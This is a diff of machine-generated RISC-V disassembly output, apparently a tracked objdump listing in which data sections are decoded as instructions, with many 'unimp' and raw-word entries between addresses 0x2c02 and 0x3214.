+    2c02:	0000                	unimp
+    2c04:	0000                	unimp
+    2c06:	0404                	addi	s1,sp,512
+    2c08:	05040703          	lb	a4,80(s0)
+    2c0c:	bb08                	fsd	fa0,48(a4)
+    2c0e:	005e                	c.slli	zero,0x17
+    2c10:	0300                	addi	s0,sp,384
+    2c12:	0c0a                	slli	s8,s8,0x2
+    2c14:	0304                	addi	s1,sp,384
+    2c16:	0b05230b          	0xb05230b
+    2c1a:	00008367          	jalr	t1,ra # 50021ae <__stack_size+0x50019ae>
+    2c1e:	04140e03          	lb	t3,65(s0)
+    2c22:	00000007          	0x7
+    2c26:	0300                	addi	s0,sp,384
+    2c28:	2422                	fld	fs0,8(sp)
+    2c2a:	00000007          	0x7
+    2c2e:	0400                	addi	s0,sp,512
+    2c30:	00000007          	0x7
+    2c34:	0400                	addi	s0,sp,512
+    2c36:	002ea507          	flw	fa0,2(t4) # 9002 <__stack_size+0x8802>
+    2c3a:	0300                	addi	s0,sp,384
+    2c3c:	1411                	addi	s0,s0,-28
+    2c3e:	00000007          	0x7
+    2c42:	0400                	addi	s0,sp,512
+    2c44:	05251403          	lh	s0,82(a0)
+    2c48:	e204                	fsw	fs1,0(a2)
+    2c4a:	0039                	c.nop	14
+    2c4c:	0400                	addi	s0,sp,512
+    2c4e:	05261803          	lh	a6,82(a2)
+    2c52:	aa1e                	fsd	ft7,272(sp)
+    2c54:	0092                	slli	ra,ra,0x4
+    2c56:	0400                	addi	s0,sp,512
+    2c58:	2701af03          	lw	t5,624(gp) # 8000e2d0 <_end+0xf0>
+    2c5c:	0d05                	addi	s10,s10,1
+    2c5e:	291a                	fld	fs2,384(sp)
+    2c60:	0000                	unimp
+    2c62:	0404                	addi	s1,sp,512
+    2c64:	07050803          	lb	a6,112(a0)
+    2c68:	0000                	unimp
+    2c6a:	0000                	unimp
+    2c6c:	07142403          	lw	s0,113(s0)
+    2c70:	0000                	unimp
+    2c72:	0000                	unimp
+    2c74:	0504                	addi	s1,sp,640
+    2c76:	00985027          	0x985027
+    2c7a:	0300                	addi	s0,sp,384
+    2c7c:	2828                	fld	fa0,80(s0)
+    2c7e:	00000007          	0x7
+    2c82:	0400                	addi	s0,sp,512
+    2c84:	00000007          	0x7
+    2c88:	0300                	addi	s0,sp,384
+    2c8a:	0007294f          	fnmadd.s	fs2,fa4,ft0,ft0,rdn
+    2c8e:	0000                	unimp
+    2c90:	0400                	addi	s0,sp,512
+    2c92:	00000007          	0x7
+    2c96:	0400                	addi	s0,sp,512
+    2c98:	05030903          	lb	s2,80(t1)
+    2c9c:	d602                	sw	zero,44(sp)
+    2c9e:	0050                	addi	a2,sp,4
+    2ca0:	0300                	addi	s0,sp,384
+    2ca2:	1405                	addi	s0,s0,-31
+    2ca4:	0304                	addi	s1,sp,384
+    2ca6:	0606                	slli	a2,a2,0x1
+    2ca8:	0805                	addi	a6,a6,1
+    2caa:	0b32                	slli	s6,s6,0xc
+    2cac:	0000                	unimp
+    2cae:	04100a03          	lb	s4,65(zero) # 41 <__stack_size-0x7bf>
+    2cb2:	00000007          	0x7
+    2cb6:	0300                	addi	s0,sp,384
+    2cb8:	1410                	addi	a2,sp,544
+    2cba:	00000007          	0x7
+    2cbe:	0400                	addi	s0,sp,512
+    2cc0:	052a1403          	lh	s0,82(s4)
+    2cc4:	1e02                	slli	t3,t3,0x20
+    2cc6:	0015                	c.nop	5
+    2cc8:	0400                	addi	s0,sp,512
+    2cca:	072b1603          	lh	a2,114(s6)
+    2cce:	0000                	unimp
+    2cd0:	0000                	unimp
+    2cd2:	0704                	addi	s1,sp,896
+    2cd4:	0000                	unimp
+    2cd6:	0000                	unimp
+    2cd8:	0704                	addi	s1,sp,896
+    2cda:	0000                	unimp
+    2cdc:	0000                	unimp
+    2cde:	0504                	addi	s1,sp,640
+    2ce0:	001cb50b          	0x1cb50b
+    2ce4:	0400                	addi	s0,sp,512
+    2ce6:	0004                	0x4
+    2ce8:	0004                	0x4
+    2cea:	0500                	addi	s0,sp,640
+    2cec:	ff09                	bnez	a4,2c06 <__stack_size+0x2406>
+    2cee:	0500003b          	0x500003b
+    2cf2:	170a                	slli	a4,a4,0x22
+    2cf4:	0060                	addi	s0,sp,12
     2cf6:	0000                	unimp
-    2cf8:	0f05                	addi	t5,t5,1
-    2cfa:	7021                	c.lui	zero,0xfffe8
-    2cfc:	0000                	unimp
-    2cfe:	0400                	addi	s0,sp,512
+    2cf8:	0004                	0x4
+    2cfa:	0500                	addi	s0,sp,640
+    2cfc:	21e10183          	lb	gp,542(sp)
     2d00:	0000                	unimp
-    2d02:	1905                	addi	s2,s2,-31
-    2d04:	8122                	mv	sp,s0
-    2d06:	0000                	unimp
-    2d08:	1a05                	addi	s4,s4,-31
-    2d0a:	7a46                	flw	fs4,112(sp)
-    2d0c:	0000                	unimp
-    2d0e:	a205                	j	2e2e <__stack_size+0x262e>
-    2d10:	7a01                	lui	s4,0xfffe0
-    2d12:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
-    2d16:	01f0                	addi	a2,sp,204
-    2d18:	00005efb          	0x5efb
-    2d1c:	f105                	bnez	a0,2c3c <__stack_size+0x243c>
-    2d1e:	d501                	beqz	a0,2c26 <__stack_size+0x2426>
-    2d20:	006d                	c.nop	27
-    2d22:	0500                	addi	s0,sp,640
-    2d24:	01f5                	addi	gp,gp,29
-    2d26:	3521                	jal	2b2e <__stack_size+0x232e>
-    2d28:	0000                	unimp
-    2d2a:	f805                	bnez	s0,2c5a <__stack_size+0x245a>
-    2d2c:	1d01                	addi	s10,s10,-32
-    2d2e:	000c                	0xc
-    2d30:	0500                	addi	s0,sp,640
-    2d32:	01ff                	0x1ff
-    2d34:	00003e37          	lui	t3,0x3
-    2d38:	8705                	srai	a4,a4,0x1
-    2d3a:	6c02                	flw	fs8,0(sp)
-    2d3c:	00000083          	lb	ra,0(zero) # 0 <__stack_size-0x800>
+    2d02:	8405                	srai	s0,s0,0x1
+    2d04:	ef01                	bnez	a4,2d1c <__stack_size+0x251c>
+    2d06:	000a                	c.slli	zero,0x2
+    2d08:	0500                	addi	s0,sp,640
+    2d0a:	0185                	addi	gp,gp,1
+    2d0c:	73c1                	lui	t2,0xffff0
+    2d0e:	0000                	unimp
+    2d10:	8605                	srai	a2,a2,0x1
+    2d12:	e101                	bnez	a0,2d12 <__stack_size+0x2512>
+    2d14:	05000063          	beq	zero,a6,2d54 <__stack_size+0x2554>
+    2d18:	83b20187          	0x83b20187
+    2d1c:	0000                	unimp
+    2d1e:	8805                	andi	s0,s0,1
+    2d20:	ae01                	j	3030 <__stack_size+0x2830>
+    2d22:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
+    2d26:	0189                	addi	gp,gp,2
+    2d28:	9166                	add	sp,sp,s9
+    2d2a:	0000                	unimp
+    2d2c:	8a05                	andi	a2,a2,1
+    2d2e:	dd01                	beqz	a0,2c46 <__stack_size+0x2446>
+    2d30:	0021                	c.nop	8
+    2d32:	0500                	addi	s0,sp,640
+    2d34:	273a018b          	0x273a018b
+    2d38:	0000                	unimp
+    2d3a:	9b06                	add	s6,s6,ra
+    2d3c:	8701                	c.srai64	a4
+    2d3e:	0060                	addi	s0,sp,12
+    2d40:	0500                	addi	s0,sp,640
+    2d42:	01b5                	addi	gp,gp,13
+    2d44:	56e2                	lw	a3,56(sp)
+    2d46:	0000                	unimp
+    2d48:	b605                	j	2868 <__stack_size+0x2068>
+    2d4a:	9601                	srai	a2,a2,0x20
+    2d4c:	009a                	slli	ra,ra,0x6
+    2d4e:	0500                	addi	s0,sp,640
+    2d50:	4bc601b7          	lui	gp,0x4bc60
+    2d54:	0000                	unimp
+    2d56:	b805                	j	2586 <__stack_size+0x1d86>
+    2d58:	6001                	0x6001
+    2d5a:	0500004f          	0x500004f
+    2d5e:	01b9                	addi	gp,gp,14
+    2d60:	16bd                	addi	a3,a3,-17
+    2d62:	0000                	unimp
+    2d64:	ba05                	j	2694 <__stack_size+0x1e94>
+    2d66:	d401                	beqz	s0,2c6e <__stack_size+0x246e>
+    2d68:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
+    2d6c:	65b301bb          	0x65b301bb
+    2d70:	0000                	unimp
+    2d72:	bc05                	j	27a2 <__stack_size+0x1fa2>
+    2d74:	a801                	j	2d84 <__stack_size+0x2584>
+    2d76:	005a                	c.slli	zero,0x16
+    2d78:	0500                	addi	s0,sp,640
+    2d7a:	01bd                	addi	gp,gp,15
+    2d7c:	5aa4                	lw	s1,112(a3)
+    2d7e:	0000                	unimp
+    2d80:	be05                	j	28b0 <__stack_size+0x20b0>
+    2d82:	d901                	beqz	a0,2c92 <__stack_size+0x2492>
+    2d84:	0010                	0x10
+    2d86:	0500                	addi	s0,sp,640
+    2d88:	6e9401bf c0050000 	0xc00500006e9401bf
+    2d90:	d501                	beqz	a0,2c98 <__stack_size+0x2498>
+    2d92:	0010                	0x10
+    2d94:	0500                	addi	s0,sp,640
+    2d96:	01c1                	addi	gp,gp,16
+    2d98:	1eea                	slli	t4,t4,0x3a
+    2d9a:	0000                	unimp
+    2d9c:	c205                	beqz	a2,2dbc <__stack_size+0x25bc>
+    2d9e:	df01                	beqz	a4,2cb6 <__stack_size+0x24b6>
+    2da0:	0038                	addi	a4,sp,8
+    2da2:	0500                	addi	s0,sp,640
+    2da4:	4bc201c3          	fmadd.d	ft3,ft4,ft8,fs1,rne
+    2da8:	0000                	unimp
+    2daa:	c405                	beqz	s0,2dd2 <__stack_size+0x25d2>
+    2dac:	4301                	li	t1,0
+    2dae:	007f                	0x7f
+    2db0:	0500                	addi	s0,sp,640
+    2db2:	23be01cb          	fnmsub.d	ft3,ft8,fs11,ft4,rne
+    2db6:	0000                	unimp
+    2db8:	e706                	fsw	ft1,140(sp)
+    2dba:	1001                	c.nop	-32
+    2dbc:	003d                	c.nop	15
+    2dbe:	0600                	addi	s0,sp,768
+    2dc0:	0391                	addi	t2,t2,4
+    2dc2:	00005273          	csrrwi	tp,ustatus,0
+    2dc6:	0400                	addi	s0,sp,512
+    2dc8:	0000                	unimp
+    2dca:	e706                	fsw	ft1,140(sp)
+    2dcc:	1001                	c.nop	-32
+    2dce:	003d                	c.nop	15
+    2dd0:	0500                	addi	s0,sp,640
+    2dd2:	02d9                	addi	t0,t0,22
+    2dd4:	000002f7          	0x2f7
+    2dd8:	e006                	fsw	ft1,0(sp)
+    2dda:	b802                	fsd	ft0,48(sp)
+    2ddc:	0045                	c.nop	17
+    2dde:	0600                	addi	s0,sp,768
+    2de0:	0391                	addi	t2,t2,4
+    2de2:	00005273          	csrrwi	tp,ustatus,0
+    2de6:	0400                	addi	s0,sp,512
+    2de8:	0000                	unimp
+    2dea:	2705                	jal	350a <__stack_size+0x2d0a>
+    2dec:	5d42                	lw	s10,48(sp)
+    2dee:	0000                	unimp
+    2df0:	2805                	jal	2e20 <__stack_size+0x2620>
+    2df2:	8051                	srli	s0,s0,0x14
+    2df4:	0000                	unimp
+    2df6:	2a05                	jal	2f26 <__stack_size+0x2726>
+    2df8:	5d3d                	li	s10,-17
+    2dfa:	0000                	unimp
+    2dfc:	9b06                	add	s6,s6,ra
+    2dfe:	8701                	c.srai64	a4
+    2e00:	0060                	addi	s0,sp,12
+    2e02:	0600                	addi	s0,sp,768
+    2e04:	3d1001e7          	jalr	gp,977(zero) # 0 <__stack_size-0x800>
+    2e08:	0000                	unimp
+    2e0a:	8405                	srai	s0,s0,0x1
+    2e0c:	b402                	fsd	ft0,40(sp)
+    2e0e:	0048                	addi	a0,sp,4
+    2e10:	0500                	addi	s0,sp,640
+    2e12:	0285                	addi	t0,t0,1
+    2e14:	079a                	slli	a5,a5,0x6
+    2e16:	0000                	unimp
+    2e18:	8605                	srai	a2,a2,0x1
+    2e1a:	8102                	jr	sp
+    2e1c:	0500003b          	0x500003b
+    2e20:	6a1b0287          	0x6a1b0287
+    2e24:	0000                	unimp
+    2e26:	8805                	andi	s0,s0,1
+    2e28:	fd02                	fsw	ft0,184(sp)
+    2e2a:	007e                	c.slli	zero,0x1f
+    2e2c:	0500                	addi	s0,sp,640
+    2e2e:	0289                	addi	t0,t0,2
+    2e30:	000083bf 02028a05 	0x2028a05000083bf
+    2e38:	0042                	c.slli	zero,0x10
+    2e3a:	0500                	addi	s0,sp,640
+    2e3c:	41fe028b          	0x41fe028b
+    2e40:	0000                	unimp
+    2e42:	8c05                	sub	s0,s0,s1
+    2e44:	8b02                	jr	s6
+    2e46:	0500003b          	0x500003b
+    2e4a:	028d                	addi	t0,t0,3
+    2e4c:	01a9                	addi	gp,gp,10
+    2e4e:	0000                	unimp
+    2e50:	8e05                	sub	a2,a2,s1
+    2e52:	5902                	lw	s2,32(sp)
+    2e54:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
+    2e58:	129f028f          	0x129f028f
+    2e5c:	0000                	unimp
+    2e5e:	9005                	srli	s0,s0,0x21
+    2e60:	5402                	lw	s0,32(sp)
+    2e62:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
+    2e66:	0291                	addi	t0,t0,4
+    2e68:	3b7d                	jal	2c26 <__stack_size+0x2426>
+    2e6a:	0000                	unimp
+    2e6c:	9205                	srli	a2,a2,0x21
+    2e6e:	0102                	c.slli64	sp
+    2e70:	0049                	c.nop	18
+    2e72:	0600                	addi	s0,sp,768
+    2e74:	029f 3c93 0000      	0x3c93029f
+    2e7a:	d406                	sw	ra,40(sp)
+    2e7c:	8a02                	jr	s4
+    2e7e:	06000073          	0x6000073
+    2e82:	0386                	slli	t2,t2,0x1
+    2e84:	527a                	lw	tp,188(sp)
+    2e86:	0000                	unimp
+    2e88:	8b05                	andi	a4,a4,1
+    2e8a:	00713503          	0x713503
+    2e8e:	0600                	addi	s0,sp,768
+    2e90:	0391                	addi	t2,t2,4
+    2e92:	00005273          	csrrwi	tp,ustatus,0
+    2e96:	9605                	srai	a2,a2,0x21
+    2e98:	00527f03          	0x527f03
+    2e9c:	0500                	addi	s0,sp,640
+    2e9e:	9a04039b          	0x9a04039b
+    2ea2:	0000                	unimp
+    2ea4:	0400                	addi	s0,sp,512
+    2ea6:	0000                	unimp
+    2ea8:	0f05                	addi	t5,t5,1
+    2eaa:	3bff                	0x3bff
+    2eac:	0000                	unimp
+    2eae:	1005                	c.nop	-31
+    2eb0:	70a2                	flw	ft1,40(sp)
+    2eb2:	0000                	unimp
+    2eb4:	0400                	addi	s0,sp,512
+    2eb6:	0200                	addi	s0,sp,256
+    2eb8:	1ff1                	addi	t6,t6,-4
+    2eba:	0000                	unimp
+    2ebc:	0002fe07          	0x2fe07
+    2ec0:	0300                	addi	s0,sp,384
+    2ec2:	0100                	addi	s0,sp,128
+    2ec4:	050c0303          	lb	t1,80(s8)
+    2ec8:	3208                	fld	fa0,32(a2)
+    2eca:	0300000b          	0x300000b
+    2ece:	0d0a                	slli	s10,s10,0x2
+    2ed0:	00000007          	0x7
+    2ed4:	0400                	addi	s0,sp,512
+    2ed6:	050e0b03          	lb	s6,80(t3)
+    2eda:	7308                	flw	fa0,32(a4)
+    2edc:	0015                	c.nop	5
+    2ede:	0300                	addi	s0,sp,384
+    2ee0:	0f0a                	slli	t5,t5,0x2
+    2ee2:	0805                	addi	a6,a6,1
+    2ee4:	6c64                	flw	fs1,92(s0)
+    2ee6:	0000                	unimp
+    2ee8:	07100e03          	lb	t3,113(zero) # 71 <__stack_size-0x78f>
+    2eec:	0000                	unimp
+    2eee:	0000                	unimp
+    2ef0:	0704                	addi	s1,sp,896
+    2ef2:	0000                	unimp
+    2ef4:	0000                	unimp
+    2ef6:	0304                	addi	s1,sp,384
+    2ef8:	0205110b          	0x205110b
+    2efc:	5704                	lw	s1,40(a4)
+    2efe:	0000                	unimp
+    2f00:	040d0403          	lb	s0,64(s10) # fffe1040 <_heap_end+0x7ffd2840>
+    2f04:	07120503          	lb	a0,113(tp) # 71 <__stack_size-0x78f>
+    2f08:	00000a8b          	0xa8b
+    2f0c:	0704                	addi	s1,sp,896
+    2f0e:	0b1f 0000 0704      	0x70400000b1f
+    2f14:	00000b53          	fadd.s	fs6,ft0,ft0,rne
+    2f18:	0704                	addi	s1,sp,896
+    2f1a:	0000                	unimp
+    2f1c:	0000                	unimp
+    2f1e:	07021003          	lh	zero,112(tp) # 70 <__stack_size-0x790>
+    2f22:	30c2                	fld	ft1,48(sp)
+    2f24:	0000                	unimp
+    2f26:	0304                	addi	s1,sp,384
+    2f28:	1312                	slli	t1,t1,0x24
+    2f2a:	0b05                	addi	s6,s6,1
+    2f2c:	00008367          	jalr	t1,ra
+    2f30:	040e0d03          	lb	s10,64(t3)
+    2f34:	07020e03          	lb	t3,112(tp) # 70 <__stack_size-0x790>
+    2f38:	31d0                	fld	fa2,160(a1)
+    2f3a:	0000                	unimp
+    2f3c:	0304                	addi	s1,sp,384
+    2f3e:	0007040f          	0x7040f
+    2f42:	0000                	unimp
+    2f44:	0300                	addi	s0,sp,384
+    2f46:	0218                	addi	a4,sp,256
+    2f48:	00000007          	0x7
+    2f4c:	0400                	addi	s0,sp,512
+    2f4e:	05141b03          	lh	s6,81(s0)
+    2f52:	d306                	sw	ra,164(sp)
+    2f54:	009e                	slli	ra,ra,0x7
+    2f56:	0300                	addi	s0,sp,384
+    2f58:	00070307          	0x70307
+    2f5c:	0000                	unimp
+    2f5e:	0400                	addi	s0,sp,512
+    2f60:	0704                	addi	s1,sp,896
+    2f62:	0000                	unimp
+    2f64:	0000                	unimp
+    2f66:	0704                	addi	s1,sp,896
+    2f68:	0000                	unimp
+    2f6a:	0000                	unimp
+    2f6c:	07152203          	lw	tp,113(a0)
+    2f70:	0000                	unimp
+    2f72:	0000                	unimp
+    2f74:	0704                	addi	s1,sp,896
+    2f76:	0000                	unimp
+    2f78:	0000                	unimp
+    2f7a:	0304                	addi	s1,sp,384
+    2f7c:	2b051613          	0x2b051613
+    2f80:	6af2                	flw	fs5,28(sp)
+    2f82:	0000                	unimp
+    2f84:	04022f03          	lw	t5,64(tp) # 40 <__stack_size-0x7c0>
+    2f88:	00000007          	0x7
+    2f8c:	0400                	addi	s0,sp,512
+    2f8e:	05171403          	lh	s0,81(a4)
+    2f92:	1e02                	slli	t3,t3,0x20
+    2f94:	0015                	c.nop	5
+    2f96:	0400                	addi	s0,sp,512
+    2f98:	07181603          	lh	a2,113(a6)
+    2f9c:	0000                	unimp
+    2f9e:	0000                	unimp
+    2fa0:	0704                	addi	s1,sp,896
+    2fa2:	0000                	unimp
+    2fa4:	0000                	unimp
+    2fa6:	0304                	addi	s1,sp,384
+    2fa8:	1904                	addi	s1,sp,176
+    2faa:	0205                	addi	tp,tp,1
+    2fac:	26b1                	jal	32f8 <__stack_size+0x2af8>
+    2fae:	0000                	unimp
+    2fb0:	070a0403          	lb	s0,112(s4)
+    2fb4:	0000                	unimp
+    2fb6:	0000                	unimp
+    2fb8:	07080c03          	lb	s8,112(a6)
+    2fbc:	0000                	unimp
+    2fbe:	0000                	unimp
+    2fc0:	07052e03          	lw	t3,112(a0)
+    2fc4:	0000                	unimp
+    2fc6:	0000                	unimp
+    2fc8:	0304                	addi	s1,sp,384
+    2fca:	1a31                	addi	s4,s4,-20
+    2fcc:	0205                	addi	tp,tp,1
+    2fce:	00006c03          	0x6c03
+    2fd2:	071b0603          	lb	a2,113(s6)
+    2fd6:	0000                	unimp
+    2fd8:	0000                	unimp
+    2fda:	0704                	addi	s1,sp,896
+    2fdc:	0000                	unimp
+    2fde:	0000                	unimp
+    2fe0:	0304                	addi	s1,sp,384
+    2fe2:	1c32                	slli	s8,s8,0x2c
+    2fe4:	0205                	addi	tp,tp,1
+    2fe6:	7974                	flw	fa3,116(a0)
+    2fe8:	0000                	unimp
+    2fea:	051d0e03          	lb	t3,81(s10)
+    2fee:	00955a27          	0x955a27
+    2ff2:	0400                	addi	s0,sp,512
+    2ff4:	07060f03          	lb	t5,112(a2)
+    2ff8:	0000                	unimp
+    2ffa:	0000                	unimp
+    2ffc:	0304                	addi	s1,sp,384
+    2ffe:	1e10                	addi	a2,sp,816
+    3000:	2305                	jal	3520 <__stack_size+0x2d20>
+    3002:	00003963          	0x3963
+    3006:	05072603          	lw	a2,80(a4)
+    300a:	0e25                	addi	t3,t3,9
+    300c:	003c                	addi	a5,sp,8
+    300e:	0400                	addi	s0,sp,512
+    3010:	00000007          	0x7
+    3014:	0400                	addi	s0,sp,512
+    3016:	00000007          	0x7
+    301a:	0400                	addi	s0,sp,512
+    301c:	00000007          	0x7
+    3020:	0300                	addi	s0,sp,384
+    3022:	01df 051f 1b13      	0x1b13051f01df
+    3028:	0081                	addi	ra,ra,0
+    302a:	0300                	addi	s0,sp,384
+    302c:	00072017          	auipc	zero,0x72
+    3030:	0000                	unimp
+    3032:	0400                	addi	s0,sp,512
+    3034:	00000007          	0x7
+    3038:	0400                	addi	s0,sp,512
+    303a:	2101e003          	0x2101e003
+    303e:	0604                	addi	s1,sp,768
+    3040:	01e4                	addi	s1,sp,204
+    3042:	2ba4                	fld	fs1,80(a5)
+    3044:	0000                	unimp
+    3046:	0304                	addi	s1,sp,384
+    3048:	020e                	slli	tp,tp,0x3
+    304a:	00000007          	0x7
+    304e:	0400                	addi	s0,sp,512
+    3050:	00000007          	0x7
+    3054:	0400                	addi	s0,sp,512
+    3056:	0304                	addi	s1,sp,384
+    3058:	0b05                	addi	s6,s6,1
+    305a:	00000007          	0x7
+    305e:	0300                	addi	s0,sp,384
+    3060:	0211                	addi	tp,tp,4
+    3062:	00000007          	0x7
+    3066:	0400                	addi	s0,sp,512
+    3068:	05221403          	lh	s0,82(tp) # 52 <__stack_size-0x7ae>
+    306c:	e204                	fsw	fs1,0(a2)
+    306e:	0039                	c.nop	14
+    3070:	0400                	addi	s0,sp,512
+    3072:	05231803          	lh	a6,82(t1)
+    3076:	aa1e                	fsd	ft7,272(sp)
+    3078:	0092                	slli	ra,ra,0x4
+    307a:	0400                	addi	s0,sp,512
+    307c:	2401af03          	lw	t5,576(gp) # 4bc60240 <_data_lma+0x2b85bd20>
+    3080:	0d05                	addi	s10,s10,1
+    3082:	291a                	fld	fs2,384(sp)
+    3084:	0000                	unimp
+    3086:	0404                	addi	s1,sp,512
+    3088:	05090603          	lb	a2,80(s2)
+    308c:	2e02                	fld	ft8,0(sp)
+    308e:	0015                	c.nop	5
+    3090:	0300                	addi	s0,sp,384
+    3092:	2509                	jal	3694 <__stack_size+0x2e94>
+    3094:	00325d07          	0x325d07
+    3098:	0300                	addi	s0,sp,384
+    309a:	0210                	addi	a2,sp,256
+    309c:	00000007          	0x7
+    30a0:	0400                	addi	s0,sp,512
+    30a2:	07261303          	lh	t1,114(a2)
+    30a6:	0000                	unimp
+    30a8:	0000                	unimp
+    30aa:	0704                	addi	s1,sp,896
+    30ac:	00003273          	csrrc	tp,ustatus,zero
+    30b0:	0704                	addi	s1,sp,896
+    30b2:	0000                	unimp
+    30b4:	0000                	unimp
+    30b6:	0304                	addi	s1,sp,384
+    30b8:	2708                	fld	fa0,8(a4)
+    30ba:	00000007          	0x7
+    30be:	0400                	addi	s0,sp,512
+    30c0:	0004                	0x4
+    30c2:	0004                	0x4
+    30c4:	0500                	addi	s0,sp,640
+    30c6:	01b5                	addi	gp,gp,13
+    30c8:	56e2                	lw	a3,56(sp)
+    30ca:	0000                	unimp
+    30cc:	b605                	j	2bec <__stack_size+0x23ec>
+    30ce:	9601                	srai	a2,a2,0x20
+    30d0:	009a                	slli	ra,ra,0x6
+    30d2:	0500                	addi	s0,sp,640
+    30d4:	4bc601b7          	lui	gp,0x4bc60
+    30d8:	0000                	unimp
+    30da:	b805                	j	290a <__stack_size+0x210a>
+    30dc:	6001                	0x6001
+    30de:	0500004f          	0x500004f
+    30e2:	01b9                	addi	gp,gp,14
+    30e4:	16bd                	addi	a3,a3,-17
+    30e6:	0000                	unimp
+    30e8:	ba05                	j	2a18 <__stack_size+0x2218>
+    30ea:	d401                	beqz	s0,2ff2 <__stack_size+0x27f2>
+    30ec:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
+    30f0:	65b301bb          	0x65b301bb
+    30f4:	0000                	unimp
+    30f6:	bc05                	j	2b26 <__stack_size+0x2326>
+    30f8:	a801                	j	3108 <__stack_size+0x2908>
+    30fa:	005a                	c.slli	zero,0x16
+    30fc:	0500                	addi	s0,sp,640
+    30fe:	01bd                	addi	gp,gp,15
+    3100:	5aa4                	lw	s1,112(a3)
+    3102:	0000                	unimp
+    3104:	be05                	j	2c34 <__stack_size+0x2434>
+    3106:	d901                	beqz	a0,3016 <__stack_size+0x2816>
+    3108:	0010                	0x10
+    310a:	0500                	addi	s0,sp,640
+    310c:	6e9401bf c0050000 	0xc00500006e9401bf
+    3114:	d501                	beqz	a0,301c <__stack_size+0x281c>
+    3116:	0010                	0x10
+    3118:	0500                	addi	s0,sp,640
+    311a:	01c1                	addi	gp,gp,16
+    311c:	1eea                	slli	t4,t4,0x3a
+    311e:	0000                	unimp
+    3120:	c205                	beqz	a2,3140 <__stack_size+0x2940>
+    3122:	df01                	beqz	a4,303a <__stack_size+0x283a>
+    3124:	0038                	addi	a4,sp,8
+    3126:	0500                	addi	s0,sp,640
+    3128:	4bc201c3          	fmadd.d	ft3,ft4,ft8,fs1,rne
+    312c:	0000                	unimp
+    312e:	c405                	beqz	s0,3156 <__stack_size+0x2956>
+    3130:	4301                	li	t1,0
+    3132:	007f                	0x7f
+    3134:	0500                	addi	s0,sp,640
+    3136:	23be01cb          	fnmsub.d	ft3,ft8,fs11,ft4,rne
+    313a:	0000                	unimp
+    313c:	e706                	fsw	ft1,140(sp)
+    313e:	1001                	c.nop	-32
+    3140:	003d                	c.nop	15
+    3142:	0500                	addi	s0,sp,640
+    3144:	0284                	addi	s1,sp,320
+    3146:	48b4                	lw	a3,80(s1)
+    3148:	0000                	unimp
+    314a:	8505                	srai	a0,a0,0x1
+    314c:	9a02                	jalr	s4
+    314e:	05000007          	0x5000007
+    3152:	0286                	slli	t0,t0,0x1
+    3154:	3b81                	jal	2ea4 <__stack_size+0x26a4>
+    3156:	0000                	unimp
+    3158:	8705                	srai	a4,a4,0x1
+    315a:	1b02                	slli	s6,s6,0x20
+    315c:	006a                	c.slli	zero,0x1a
+    315e:	0500                	addi	s0,sp,640
+    3160:	0288                	addi	a0,sp,320
+    3162:	7efd                	lui	t4,0xfffff
+    3164:	0000                	unimp
+    3166:	8905                	andi	a0,a0,1
+    3168:	bf02                	fsd	ft0,440(sp)
+    316a:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
+    316e:	028a                	slli	t0,t0,0x2
+    3170:	4202                	lw	tp,0(sp)
+    3172:	0000                	unimp
+    3174:	8b05                	andi	a4,a4,1
+    3176:	fe02                	fsw	ft0,60(sp)
+    3178:	0041                	c.nop	16
+    317a:	0500                	addi	s0,sp,640
+    317c:	028c                	addi	a1,sp,320
+    317e:	00003b8b          	0x3b8b
+    3182:	8d05                	sub	a0,a0,s1
+    3184:	a902                	fsd	ft0,144(sp)
+    3186:	0001                	nop
+    3188:	0500                	addi	s0,sp,640
+    318a:	028e                	slli	t0,t0,0x3
+    318c:	2359                	jal	3712 <__stack_size+0x2f12>
+    318e:	0000                	unimp
+    3190:	8f05                	sub	a4,a4,s1
+    3192:	9f02                	jalr	t5
+    3194:	0012                	c.slli	zero,0x4
+    3196:	0500                	addi	s0,sp,640
+    3198:	0290                	addi	a2,sp,320
+    319a:	2354                	fld	fa3,128(a4)
+    319c:	0000                	unimp
+    319e:	9105                	srli	a0,a0,0x21
+    31a0:	7d02                	flw	fs10,32(sp)
+    31a2:	0500003b          	0x500003b
+    31a6:	0292                	slli	t0,t0,0x4
+    31a8:	4901                	li	s2,0
+    31aa:	0000                	unimp
+    31ac:	9f06                	add	t5,t5,ra
+    31ae:	9302                	jalr	t1
+    31b0:	003c                	addi	a5,sp,8
+    31b2:	0600                	addi	s0,sp,768
+    31b4:	02d4                	addi	a3,sp,324
+    31b6:	738a                	flw	ft7,160(sp)
+    31b8:	0000                	unimp
+    31ba:	8606                	mv	a2,ra
+    31bc:	00527a03          	0x527a03
+    31c0:	0500                	addi	s0,sp,640
+    31c2:	7135038b          	0x7135038b
+    31c6:	0000                	unimp
+    31c8:	9106                	add	sp,sp,ra
+    31ca:	00527303          	0x527303
+    31ce:	0000                	unimp
+    31d0:	0004                	0x4
+    31d2:	0500                	addi	s0,sp,640
+    31d4:	005d4227          	fsq	ft5,4(s10)
+    31d8:	0500                	addi	s0,sp,640
+    31da:	5128                	lw	a0,96(a0)
+    31dc:	0080                	addi	s0,sp,64
+    31de:	0500                	addi	s0,sp,640
+    31e0:	3d2a                	fld	fs10,168(sp)
+    31e2:	005d                	c.nop	23
+    31e4:	0500                	addi	s0,sp,640
+    31e6:	21e10183          	lb	gp,542(sp)
+    31ea:	0000                	unimp
+    31ec:	8405                	srai	s0,s0,0x1
+    31ee:	ef01                	bnez	a4,3206 <__stack_size+0x2a06>
+    31f0:	000a                	c.slli	zero,0x2
+    31f2:	0500                	addi	s0,sp,640
+    31f4:	0185                	addi	gp,gp,1
+    31f6:	73c1                	lui	t2,0xffff0
+    31f8:	0000                	unimp
+    31fa:	8605                	srai	a2,a2,0x1
+    31fc:	e101                	bnez	a0,31fc <__stack_size+0x29fc>
+    31fe:	05000063          	beq	zero,a6,323e <__stack_size+0x2a3e>
+    3202:	83b20187          	0x83b20187
+    3206:	0000                	unimp
+    3208:	8805                	andi	s0,s0,1
+    320a:	ae01                	j	351a <__stack_size+0x2d1a>
+    320c:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
+    3210:	0189                	addi	gp,gp,2
+    3212:	9166                	add	sp,sp,s9
+    3214:	0000                	unimp
